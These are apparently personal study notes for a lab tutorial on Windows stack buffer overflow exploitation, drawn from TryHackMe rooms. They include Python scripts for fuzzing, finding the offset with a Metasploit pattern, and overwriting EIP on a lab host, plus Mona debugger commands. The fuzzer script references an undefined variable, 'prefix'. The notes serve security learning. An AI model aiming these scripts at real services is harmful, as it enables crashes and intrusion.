Windows x86-64 Buffer Overflow Exploitation Guide
Notes from TryHackMe's Brainstorm and BufferOverflowPrep Rooms.
The Setupβ
When you have a blind target to buffer overflow, you need to set up a local system to model the target and use it to design and develop your overflow.
The windows setup I used is:
- A Windows 7 VM
- Immunity Debugger installation
- Mona modules python scripts for the debugger
The Processβ
Big thank you to The Cyber Mentor who's "Buffer Overflows Made Easy" YouTube playlist was the most well explained video series I found at the time.
This has been written up far better in a lot of places, but for my own notes and understanding I will write it out in the best way that makes sense to me.
The steps are:
- Fuzz the Program
- Find the Offset
- Control the EIP
- Bad Character Check
- find a module
- create shellcode
- exploit
Fuzz the Programβ
The scenario would be once you've found a function in the program that you may be able to overflow, you start sending it incrementally-increasing payloads and watch how many bytes it takes to crash.
fuzzer.pyβ
#!/usr/bin/env python3
import socket, time, sys
ip = "172.16.2.125" # the target server IP
port = 9999 # port the vulnerable program is listening on
timeout = 5
payload = "A" * 100 # the start size for the payload
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(payload) - len(prefix)))
s.send(bytes(payload, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(payload) - len(prefix)))
sys.exit(0)
payload += 100 * "A" # increment the payload by 100 x A's
time.sleep(1)
Eventually the program will stop responding and timeout and our script will write "Fuzzing crashed at x bytes" and we will have roughly our payload size that crashes the program.
Find the Offsetβ
We know the payload size from the fuzzer, now we create a random string of x length as our new payload.
Why? Because we want to find the number of bytes it takes from the bottom of our buffer, to the beginning of the EIP address- this "distance" is the offset. If we know the offset, we know how many bytes to use up in the payload before the return address so that it gets written perfectly over the EIP.
We use 2 x tools from metasploit to find the offset:
pattern_create.rb- to create a string pattern the length found by the fuzzer.pattern_offset.rb- find the offset within that pattern given the specific segment of that pattern that was overwritten onto the EIP.
For example...
let's say Fuzzing crashed at 6300 bytes.
pattern create: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 6700
offset.pyβ
#!/usr/bin/env python3
import socket
ip = "172.16.2.125" # IP of the target server.
port = 9999
offset = 0
overflow = "A" * offset
retn = "" # this will overwrite the EIP
padding = "" # optional.
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A..."
postfix = "" # optional
buffer = overflow + retn + padding + payload + postfix
print("buffer=",len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(payload + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
When the program crashes you have two ways of finding the offset
Using Monaβ
In the Immunity Debugger, run this to find offset via mona: !mona findmsp -distance 6700
Output will look like this:
Log data, item 18
Address=0BADF00D
Message= EIP contains normal pattern : 0x48367648 (offset 6108)
Using Metasploitβ
Or use the 2nd part of the the metasploit pattern tool, the pattern_offset script:
First, read the EIP value in Immunity Debugger:
e.g. EIP value on crash = 48367648
Then use the pattern offset tool from metasploit to find the offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 6700 -q 48367648
Exact match at offset 6108
Control the EIPβ
Now that you know the offset, theoretically you should be able to create an overflow of length=offset which will fill the buffer right up to the start of the EIP, and then the value you set for retn should be written over the EIP, which in the case below is 4 x B's i.e. BBBB.
#!/usr/bin/env python3
import socket
ip = "172.16.2.125"
port = 9999
offset = 6108
overflow = "A" * offset
retn = "BBBB"
buffer = overflow + retn
print("buffer=",len(buffer)) # check the buffer length
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Crash Overwrite EIP: 42424242...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
If your fuzz and offset work is correct, when you run the eip.py script and the application crashes, the EIP value should show 42424242 i.e. 4 x B's.
Bad Character Checkβ
Why do we care?
A bad character in our shellcode will bork the whole thing up, so we need to understand which characters from a byte array of all possible characters, could be bad and mess up our exploit so we can exclude them from any generated shellcode.
First, because we're going to use mona a lot here, setup the mona working directory to make things easier for us:
!mona config -set workingfolder C:\Users\IEUser\Downloads\%p - this is my win7 VM.
!mona bytearrayβ
In Immunity Debugger, run this mona command: !mona bytearray -b "\x00" to generate the "nullbyte array" i.e. the full bytearray minus the null byte \x00.
You can find the text file of the byte array to copy in the working directory we set just before (C:\Users\IEUser\Downloads\%p), if you want to open + copy/paste to your script below.
Other ways of generating all possible characters:
# Python
for i in range(0,256): print('\\x%02X' % i, end='')
# Bash
for i in {0..255}; do printf "\\\x%02x" $i;done